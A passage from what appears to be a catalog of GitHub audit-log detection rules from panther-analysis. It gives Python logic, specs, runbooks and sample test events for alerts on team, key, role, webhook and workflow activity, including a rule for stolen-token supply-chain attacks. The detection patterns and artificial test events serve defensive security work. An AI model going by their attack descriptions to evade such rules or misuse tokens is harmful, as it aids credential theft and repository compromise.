    # Allow legitimate dependency installation actions
    legitimate_actions = {
        "git.clone",
        "git.fetch",
        "git.pull",
        "git.checkout",
        "git.archive",
        "repo.download",
    }

    if action in legitimate_actions:
        return False

    if not user_agent or len(user_agent) < 3:
        return False

    for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
        match = compiled_pattern.search(user_agent)
        if match:
            return True
    return False


def title(event):
    user_agent = event.get("user_agent", "")
    action = event.get("action", "")
    detected_pattern = "unknown"
    for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
        match = compiled_pattern.search(user_agent)
        if match:
            detected_pattern = match.group()

    return f"GitHub Supply Chain - Package Manager Modifying Repository ({detected_pattern} - {action})"


def alert_context(event):
    context = github_alert_context(event)
    user_agent = event.get("user_agent", "")

    detected_pattern = "unknown"
    for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
        match = compiled_pattern.search(user_agent)
        if match:
            detected_pattern = match.group()

    context.update(
        {
            "user_agent": user_agent,
            "detected_pattern": detected_pattern,
            "user_agent_length": len(user_agent),
            "programmatic_access_type": event.get("programmatic_access_type"),
            "action": event.get("action"),
            "repo": event.get("repo"),
            "analysis_note": "Package managers should only read dependencies, not modify repositories",
        }
    )

    return context


def dedup(event):
    user_agent = event.get("user_agent", "")
    actor = event.get("actor", "<NO_ACTOR>")

    return f"{user_agent}_{actor}"

Rule specification

AnalysisType: rule
Filename: github_supply_chain_suspicious_user_agents.py
RuleID: "GitHub.SupplyChain.SuspiciousUserAgents"
DisplayName: "GitHub Supply Chain - Software Installation Tool User Agents"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - Supply Chain
  - Installation Tools
  - Package Managers
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
Severity: Medium
Description: >
  Detects software installation tool user agents in GitHub audit logs that should never 
  directly access GitHub. Package managers like npm, pip, yarn, and system installers 
  operate at the registry level, not GitHub audit level. Their presence indicates:
  1. Supply chain attacks using spoofed user agents to blend in
  2. Compromised systems running installation tools with stolen GitHub tokens  
  3. Malicious automation disguised as legitimate package managers
  
  Based on analysis of GitHub audit logs showing zero legitimate npm/yarn/pip user agents,
  any such patterns are inherently suspicious and warrant immediate investigation.
Runbook: |
  1. Verify the actor and IP address associated with the activity
  2. Check if the GitHub token/credentials used have been compromised
  3. Review all actions performed by this user agent for malicious activity
  4. Investigate if this represents a supply chain attack or credential theft
  5. Consider revoking affected tokens and resetting credentials
  6. Review repository access and recent changes for signs of compromise
Reference: https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action is not one of git.clone, git.fetch, git.pull, git.checkout, git.archive (+1 more values, see Indicators below)
  • user_agent is present
  • user_agent has length of at least 3

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
user_agentis_null(no value, null check)excludes:user_agent
user_agentlength_compare3excludes:user_agent field:"user_agent" value:"3"
actioningit.archive, git.checkout, git.clone, git.fetch, git.pull, repo.downloadexcludes:action

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Response runbook

1. Verify the actor and IP address associated with the activity

2. Check if the GitHub token/credentials used have been compromised

3. Review all actions performed by this user agent for malicious activity

4. Investigate if this represents a supply chain attack or credential theft

5. Consider revoking affected tokens and resetting credentials

6. Review repository access and recent changes for signs of compromise

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repo.update",
  "actor": "malicious-actor",
  "programmatic_access_type": "personal_access_token",
  "repo": "organization/sensitive-repo",
  "user_agent": "npm/10.2.4 node/v18.19.0 linux x64 workspaces/false"
}

GitHub Team Modified

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a team is modified in some way, such as adding a new team, deleting a team, modifying members, or a change in repository control.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

PlatformRecord / event type
GitHubAudit log action team.add_member: Member added to team
GitHubAudit log action team.add_repository: Repository access granted to team
GitHubAudit log action team.add_to_organization: Team added to organization
GitHubAudit log action team.change_parent_team: Child team created or parent changed
GitHubAudit log action team.change_privacy: Team privacy level changed
GitHubAudit log action team.create: Team created
GitHubAudit log action team.demote_maintainer: Team maintainer demoted to member
GitHubAudit log action team.destroy: Team deleted
GitHubAudit log action team.members_limit_warning: Team approaching members limit
GitHubAudit log action team.organization_assignments_limit_reached: Team reached organization assignments limit
GitHubAudit log action team.organization_assignments_limit_warning: Team approaching organization assignments limit
GitHubAudit log action team.promote_maintainer: Team member promoted to maintainer
GitHubAudit log action team.remove_from_organization: Team removed from organization
GitHubAudit log action team.remove_member: Member removed from team
GitHubAudit log action team.remove_repository: Repository removed from team
GitHubAudit log action team.rename: Team name changed
GitHubAudit log action team.update_repository_permission: Team repository permission changed
GitHubAudit log action team_group_mapping.create
GitHubAudit log action team_group_mapping.destroy
GitHubAudit log action team_group_mapping.update
GitHubAudit log action team_sync_tenant.disabled: Team synchronization with tenant disabled
GitHubAudit log action team_sync_tenant.enabled: Team synchronization with tenant enabled
GitHubAudit log action team_sync_tenant.update_okta_credentials: Okta credentials for team sync changed

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    if not event.get("action").startswith("team"):
        return False
    return (
        event.get("action") == "team.add_member"
        or event.get("action") == "team.add_repository"
        or event.get("action") == "team.change_parent_team"
        or event.get("action") == "team.create"
        or event.get("action") == "team.destroy"
        or event.get("action") == "team.remove_member"
        or event.get("action") == "team.remove_repository"
    )


def title(event):
    team_name = event.get("team") if "team" in event else "<MISSING_TEAM>"
    return f"GitHub.Audit: [{team_name}] has been modified"

Rule specification

AnalysisType: rule
Filename: github_team_modified.py
RuleID: "GitHub.Team.Modified"
DisplayName: "GitHub Team Modified"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Reference: https://docs.github.com/en/organizations/organizing-members-into-teams
Severity: Info
Description: Detects when a team is modified in some way, such as adding a new team, deleting a team, modifying members, or a change in repository control.

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action starts with team
  • any of:
    • action is team.add_member
    • action is team.add_repository
    • action is team.change_parent_team
    • action is team.create
    • action is team.destroy
    • action is team.remove_member
    • action is team.remove_repository

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • team.add_member
  • team.add_repository
  • team.change_parent_team
  • team.create
  • team.destroy
  • team.remove_member
  • team.remove_repository
field:"action" kind:eq
actionstarts_with
  • team
field:"action" kind:starts_with value:"team"

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "team.destroy",
  "actor": "cat",
  "created_at": 1621305118553,
  "data": {
    "team": "my-org/my-team"
  },
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub User Access Key Created

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, Persistence:Valid Accounts
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub user access key is created.

MITRE ATT&CK coverage

TacticTechniques
Persistence

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "public_key.create"


def title(event):
    return f"User [{event.udm('actor_user')}] created a new ssh key"

Rule specification

AnalysisType: rule
Filename: github_user_access_key_created.py
RuleID: "GitHub.User.AccessKeyCreated"
DisplayName: "GitHub User Access Key Created"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Persistence:Valid Accounts
Reports:
  MITRE ATT&CK:
    - TA0003:T1078
Reference: https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
Severity: Info
Description: Detects when a GitHub user access key is created.

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is public_key.create

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • public_key.create
field:"action" kind:eq value:"public_key.create"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor_user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "public_key.create",
  "actor": "cat",
  "created_at": 1621305118553,
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub User Added or Removed from Org

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a user is added or removed from a GitHub Org.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "org.add_member" or event.get("action") == "org.remove_member"


def title(event):
    action = event.get("action")
    if event.get("action") == "org.add_member":
        action = "added"
    elif event.get("action") == "org.remove_member":
        action = "removed"
    return (
        f"GitHub.Audit: User [{event.udm('actor_user')}] {action} "
        f"{event.get('user', '<UNKNOWN_USER>')} to org [{event.get('org','<UNKNOWN_ORG>')}]"
    )

Rule specification

AnalysisType: rule
Filename: github_org_modified.py
RuleID: "GitHub.Org.Modified"
DisplayName: "GitHub User Added or Removed from Org"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Reference: https://docs.github.com/en/organizations/managing-membership-in-your-organization
Severity: Info
Description: Detects when a user is added or removed from a GitHub Org.

Stages and Predicates

Fires on GitHub.Audit events when any of the conditions below holds.

Condition

  • any of:
    • action is org.add_member
    • action is org.remove_member

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • org.add_member
  • org.remove_member
field:"action" kind:eq

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor_user
user
org

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "org.add_member",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "user": "cat"
}

GitHub User Added to Org Moderators

#
Severity
medium
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a user is added to a GitHub org's list of moderators.

MITRE ATT&CK coverage

TacticTechniques
Initial AccessNo specific technique

Telemetry coverage

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    return event.get("action") == "organization_moderators.add_user"


def title(event):
    return (
        f"GitHub.Audit: User [{event.get('actor', '<UNKNOWN_ACTOR>')}] added user "
        f"[{event.get('user', '<UNKNOWN_USER>')}] to moderators in "
        f"[{event.get('org','<UNKNOWN_ORG>')}]"
    )


def alert_context(event):
    return github_alert_context(event)

Rule specification

AnalysisType: rule
Filename: github_org_moderators_add.py
RuleID: "GitHub.Org.Moderators.Add"
DisplayName: "GitHub User Added to Org Moderators"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Severity: Medium
Description: Detects when a user is added to a GitHub org's list of moderators.
Reference: https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is organization_moderators.add_user

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • organization_moderators.add_user
field:"action" kind:eq value:"organization_moderators.add_user"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "Ab123",
  "action": "organization_moderators.add_user",
  "actor": "sarah78",
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2022-12-11 05:17:28.078",
  "created_at": "2022-12-11 05:17:28.078",
  "org": "example-io",
  "user": "john1987"
}

GitHub User Initial Access to Private Repo

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a user initially accesses a private organization repository.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_detection_helpers.caching import get_string_set, put_string_set

CODE_ACCESS_ACTIONS = [
    "git.clone",
    "git.push",
    "git.fetch",
]


def rule(event):

    # if the actor field is empty, short circuit the rule
    # Excluding secret scanning bots
    allowed_users = ["secret-scanning[bot]"]
    actor = event.udm("actor_user")

    if not actor or any(allowed_user in actor for allowed_user in allowed_users):
        return False

    if event.get("action") in CODE_ACCESS_ACTIONS and not event.get("repository_public"):
        # Compute unique entry for this user + repo
        key = get_key(event)
        previous_access = get_string_set(key)
        if not previous_access:
            put_string_set(key, key)
            return True
    return False


def title(event):
    return (
        f"A user [{event.udm('actor_user')}] accessed a private repository "
        f"[{event.get('repo', '<UNKNOWN_REPO>')}] for the first time."
    )


def get_key(event):
    return __name__ + ":" + str(event.udm("actor_user")) + ":" + str(event.get("repo"))

Rule specification

AnalysisType: rule
Filename: github_repo_initial_access.py
RuleID: "GitHub.Repo.InitialAccess"
DisplayName: "GitHub User Initial Access to Private Repo"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
Reference: https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository
Severity: Info
Description: Detects when a user initially accesses a private organization repository.

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • actor_user is present
  • actor_user does not contain secret-scanning[bot]
  • action is one of git.clone, git.push, git.fetch
  • repository_public is empty

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
actor_usercontainssecret-scanning[bot]excludes:actor_user field:"actor_user" value:"secret-scanning[bot]"
actor_useris_null(no value, null check)excludes:actor_user

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • git.clone
  • git.fetch
  • git.push
field:"action" kind:in
repository_publicis_null
  • (no value, null check)
field:"repository_public" kind:is_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor_user
repo

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "@timestamp": 1623971719091,
  "action": "git.push",
  "actor": "cat",
  "business": "",
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "protocol_name": "ssh",
  "repo": "my-org/my-repo",
  "repository": "my-org/my-repo",
  "repository_public": false,
  "user": ""
}

GitHub User Role Updated

#
Severity
high
Log types
GitHub.Audit
Tags
GitHub, Persistence:Account Manipulation
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub user role is upgraded to an admin or downgraded to a member

MITRE ATT&CK coverage

TacticTechniques
Persistence

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "org.update_member"


def title(event):
    return (
        f"Org owner [{event.udm('actor_user')}] updated user's "
        f"[{event.get('user')}] role ('admin' or 'member')"
    )

Rule specification

AnalysisType: rule
Filename: github_user_role_updated.py
RuleID: "GitHub.User.RoleUpdated"
DisplayName: "GitHub User Role Updated"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Persistence:Account Manipulation
Reports:
  MITRE ATT&CK:
    - TA0003:T1098
Reference: https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization
Severity: High
Description: Detects when a GitHub user role is upgraded to an admin or downgraded to a member

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is org.update_member

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • org.update_member
field:"action" kind:eq value:"org.update_member"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor_user
user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "org.update_member",
  "actor": "cat",
  "created_at": 1621305118553,
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo",
  "user": "bob"
}

GitHub Web Hook Modified

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, Exfiltration:Automated Exfiltration
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a webhook is added, modified, or deleted

MITRE ATT&CK coverage

TacticTechniques
Exfiltration

Telemetry coverage

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    return event.get("action").startswith("hook.")


def title(event):
    repo = event.get("repo", "<UNKNOWN_REPO>")
    action = "modified"
    if event.get("action").endswith("destroy"):
        action = "deleted"
    elif event.get("action").endswith("create"):
        action = "created"

    title_str = (
        f"Github webhook [{event.deep_get('config','url',default='<UNKNOWN_URL>')}]"
        f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
    )
    if repo != "<UNKNOWN_REPO>":
        title_str += f" in repository [{repo}]"
    return title_str


def severity(event):
    if event.get("action").endswith("create"):
        return "MEDIUM"
    return "INFO"


def alert_context(event):
    ctx = github_alert_context(event)
    ctx["business"] = event.get("business", "")
    ctx["hook_id"] = event.get("hook_id", "")
    ctx["integration"] = event.get("integration", "")
    ctx["operation_type"] = event.get("operation_type", "")
    ctx["url"] = event.deep_get("config", "url", default="<UNKNOWN_URL>")
    return ctx

Rule specification

AnalysisType: rule
Filename: github_webhook_modified.py
RuleID: "GitHub.Webhook.Modified"
DisplayName: "GitHub Web Hook Modified"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Exfiltration:Automated Exfiltration
Reports:
  MITRE ATT&CK:
    - TA0010:T1020
Reference:
  https://docs.github.com/en/webhooks/about-webhooks
  # GH audit logs for hook events don't include the type: field
  # Only type:repo webhooks are obvious due to the repo field, Org and App look the same
  # GETs to /orgs/{org}/hooks or /repos/{owner}/{repo}/hooks will return type
  # App hooks don't return type and are defined by their API endpoint
Severity: Info
Description: Detects when a webhook is added, modified, or deleted

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action starts with hook.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionstarts_with
  • hook.
field:"action" kind:starts_with value:"hook."

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "hook.create",
  "actor": "cat",
  "config": {
    "url": "https://fake.url"
  },
  "data": {
    "events": [
      "fork",
      "public",
      "pull_request",
      "push",
      "repository"
    ],
    "hook_id": 111222333444555
  },
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "public_repo": false,
  "repo": "my-org/my-repo"
}

GitHub Workflow Contains Checkout Action

#
Severity
informational
Log types
GitHub.Webhook
Tags
CI/CD, Workflow, Supply Chain
Reference
securitylab.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub Actions workflow job contains a checkout step. The checkout action (actions/checkout) pulls repository code into the workflow runner. In certain contexts, especially with pull_request_target triggers or workflows with elevated permissions, checking out untrusted code can pose security risks. This detection helps identify workflows that interact with repository code for security review.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    """Alert when a GitHub workflow job contains a checkout action step."""
    # Only check completed workflow jobs
    if event.get("action") != "completed":
        return False

    # Get the steps array from workflow_job
    steps = event.deep_get("workflow_job", "steps", default=[])

    # Iterate through each step and check if the name contains "checkout" (case-insensitive)
    for step in steps:
        step_name = step.get("name", "").lower()
        if "checkout" in step_name:
            return True

    return False

Rule specification

AnalysisType: rule
Filename: github_workflow_contains_checkout.py
RuleID: "GitHub.Webhook.WorkflowContainsCheckout"
DisplayName: "GitHub Workflow Contains Checkout Action"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
Tags:
  - CI/CD
  - Workflow
  - Supply Chain
Severity: Info
CreateAlert: false
Description: >
  Detects when a GitHub Actions workflow job contains a checkout step. The checkout action
  (actions/checkout) pulls repository code into the workflow runner. In certain contexts,
  especially with pull_request_target triggers or workflows with elevated permissions,
  checking out untrusted code can pose security risks. This detection helps identify
  workflows that interact with repository code for security review.
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • action is completed
  • any element of workflow_job.steps matches:
    • workflow_job.steps.name contains checkout

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • completed
field:"action" kind:eq value:"completed"

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "completed",
  "repository": {
    "full_name": "example-org/example-repo",
    "id": 123456789,
    "private": true
  },
  "workflow_job": {
    "completed_at": "2025-10-15T18:47:18Z",
    "conclusion": "success",
    "head_branch": "feature-branch",
    "head_sha": "abc123def456789",
    "html_url": "https://github.com/example-org/example-repo/actions/runs/12345678/job/52841914522",
    "id": 52841914522,
    "name": "Validate PR Title",
    "run_id": 12345678,
    "runner_name": "GitHub Actions",
    "started_at": "2025-10-15T18:41:58Z",
    "status": "completed",
    "steps": [
      {
        "completed_at": "2025-10-15T18:42:00Z",
        "conclusion": "success",
        "name": "Set up job",
        "number": 1,
        "started_at": "2025-10-15T18:41:59Z",
        "status": "completed"
      },
      {
        "completed_at": "2025-10-15T18:42:02Z",
        "conclusion": "success",
        "name": "Checkout code",
        "number": 2,
        "started_at": "2025-10-15T18:42:00Z",
        "status": "completed"
      },
      {
        "completed_at": "2025-10-15T18:42:05Z",
        "conclusion": "success",
        "name": "Run tests",
        "number": 3,
        "started_at": "2025-10-15T18:42:02Z",
        "status": "completed"
      }
    ]
  }
}

GitHub Workflow Dispatched by GitHub Actions Bot

#
Status
Experimental
Severity
informational
Log types
GitHub.Audit
Tags
GitHub
Reference
nx.dev
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub App server-to-server token (GITHUB_TOKEN) triggers a workflow manually through the workflow_dispatch event, creating a new workflow run. This activity may indicate that a possibly previously exfiltrated GITHUB_TOKEN was subsequently used to authenticate to the GitHub REST API to trigger a workflow manually. This technique has been observed as the last step in the attack chain of the Nx/S1ngularity supply chain attack.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    return all(
        [
            event.get("programmatic_access_type") == "GitHub App server-to-server token",
            event.get("event") == "workflow_dispatch",
            event.get("actor") == "github-actions[bot]",
            event.get("action") == "workflows.created_workflow_run",
        ]
    )


def title(event):
    repo = event.get("repo", default="<NO_REPO>")
    workflow_name = event.get("name", default="<NO_WORKFLOW_NAME>")
    user = event.get("actor")
    return (
        f"Bot [{user}] manually triggered a "
        f"workflow dispatch for [{workflow_name}] "
        f"in [{repo}]"
    )


def alert_context(event):
    context = github_alert_context(event)
    context["workflow_name"] = event.get("name", "<NO_WORKFLOW_NAME>")
    context["workflow_id"] = event.get("workflow_id")
    context["workflow_run_id"] = event.get("workflow_run_id")
    context["head_branch"] = event.get("head_branch")
    context["head_sha"] = event.get("head_sha")
    context["programmatic_access_type"] = event.get("programmatic_access_type")
    context["token_id"] = event.get("token_id")
    context["workflow_run_link"] = (
        f"https://github.com/{context.get('repo')}/actions/"
        f"runs/{event.get('workflow_run_id', '<NO_RUN_ID>')}"
    )
    return context

Rule specification

AnalysisType: rule
Filename: github_workflow_dispatch_by_github_bot.py
RuleID: "GitHub.Workflow.DispatchByGitHubBot"
DisplayName: "GitHub Workflow Dispatched by GitHub Actions Bot"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
Status: Experimental
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Severity: Info
Description: >
  Detects when a GitHub App server-to-server token (GITHUB_TOKEN) triggers a workflow manually through the workflow_dispatch event,
  creating a new workflow run. This activity may indicate that a possibly previously exfiltrated GITHUB_TOKEN was subsequently
  used to authenticate to the GitHub REST API to trigger a workflow manually. 
  This technique has been observed as the last step in the attack chain of the Nx/S1ngularity supply chain attack.
Runbook: |
  1. Identify the workflow and repository:
     - Review the workflow name and repository from the alert details
     - Check the workflow_run_link in the alert context to view the workflow run details
  2. Review the workflow contents:
     - Examine the workflow file (.github/workflows/) for potentially malicious actions
     - Check for suspicious steps like secret exfiltration or unauthorized deployments
     - Verify the workflow or any scripts used in the workflow itself haven't been recently modified in an unauthorized manner
  3. If suspicious or unauthorized:
     - Immediately cancel the workflow run if it's still in progress
     - Review GitHub audit logs for other activities by this token_id
     - Rotate any secrets that may have been exposed to this workflow
     - Review all recent workflow modifications and runs
Reference: https://nx.dev/blog/s1ngularity-postmortem

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • programmatic_access_type is GitHub App server-to-server token
  • event is workflow_dispatch
  • actor is github-actions[bot]
  • action is workflows.created_workflow_run

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
name

Response runbook

1. Identify the workflow and repository:

- Review the workflow name and repository from the alert details

- Check the workflow_run_link in the alert context to view the workflow run details

2. Review the workflow contents:

- Examine the workflow file (.github/workflows/) for potentially malicious actions

- Check for suspicious steps like secret exfiltration or unauthorized deployments

- Verify the workflow or any scripts used in the workflow itself haven't been recently modified in an unauthorized manner

3. If suspicious or unauthorized:

- Immediately cancel the workflow run if it's still in progress

- Review GitHub audit logs for other activities by this token_id

- Rotate any secrets that may have been exposed to this workflow

- Review all recent workflow modifications and runs

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "workflows.created_workflow_run",
  "actor": "github-actions[bot]",
  "actor_id": "12345678",
  "actor_is_agent": false,
  "actor_is_bot": true,
  "at_sign_timestamp": "2025-10-15 18:45:47.048000000",
  "business": "yourcompany",
  "business_id": "485638",
  "created_at": "2025-10-15 18:45:47.048000000",
  "event": "workflow_dispatch",
  "head_branch": "bot-branch",
  "name": "Your Workflow",
  "operation_type": "create",
  "org": "YourCompany",
  "org_id": 12345678,
  "programmatic_access_type": "GitHub App server-to-server token",
  "repo": "YourCompany/YourRepo",
  "repo_id": 12345678,
  "run_number": 1,
  "started_at": "2025-10-15 18:45:47.000000000",
  "token_id": "1111111111111",
  "user_agent": "launch/production",
  "workflow_id": "123456789",
  "workflow_run_id": "123456789"
}

GitHub Workflow Downloading Artifacts

#
Severity
informational
Log types
GitHub.Webhook
Tags
CI/CD, Workflow, Artifacts
Reference
securitylab.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a GitHub Actions workflow downloads artifacts.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    if event.get("action") != "completed":
        return False

    steps = event.deep_get("workflow_job", "steps", default=[])

    # Look for artifact download in step names
    for step in steps:
        step_name = step.get("name", "").lower()
        if any(
            pattern in step_name
            for pattern in [
                "download artifact",
                "download-artifact",
                "actions/download-artifact",
                "restore artifact",
                "get artifact",
                "fetch artifact",
                "pull artifact",
            ]
        ):
            return True

    return False


def title(event):
    workflow_name = event.deep_get("workflow_job", "name", default="Unknown Workflow")
    repo_name = event.deep_get("repository", "full_name", default="Unknown Repository")

    return f"Artifact download detected in workflow '{workflow_name}' for {repo_name}"

Rule specification

AnalysisType: rule
Filename: github_workflow_artifact_download.py
RuleID: "GitHub.Webhook.WorkflowArtifactDownload"
DisplayName: "GitHub Workflow Downloading Artifacts"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0005:T1027  # Defense Evasion: Obfuscated Files or Information
Tags:
  - CI/CD
  - Workflow
  - Artifacts
CreateAlert: false
Severity: Info
Description: Detects when a GitHub Actions workflow downloads artifacts. 
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/#pwn-request-with-artifact-upload

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • action is completed
  • any element of workflow_job.steps matches:
    • any of:
      • workflow_job.steps.name contains download artifact
      • workflow_job.steps.name contains download-artifact
      • workflow_job.steps.name contains actions/download-artifact
      • workflow_job.steps.name contains restore artifact
      • workflow_job.steps.name contains get artifact
      • workflow_job.steps.name contains fetch artifact
      • workflow_job.steps.name contains pull artifact

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • completed
field:"action" kind:eq value:"completed"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
nameworkflow_job.name
full_namerepository.full_name

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "completed",
  "repository": {
    "full_name": "example-org/example-repo",
    "id": 123456789
  },
  "workflow_job": {
    "conclusion": "success",
    "id": 52841003143,
    "name": "Deploy",
    "run_id": 12345678,
    "status": "completed",
    "steps": [
      {
        "conclusion": "success",
        "name": "Setup",
        "status": "completed"
      },
      {
        "conclusion": "success",
        "name": "Download artifact",
        "status": "completed"
      },
      {
        "conclusion": "success",
        "name": "Deploy",
        "status": "completed"
      }
    ]
  }
}

GitHub Workflow Permissions Modified

#
Severity
medium
Entities
actor_ids, usernames
Log types
GitHub.Audit
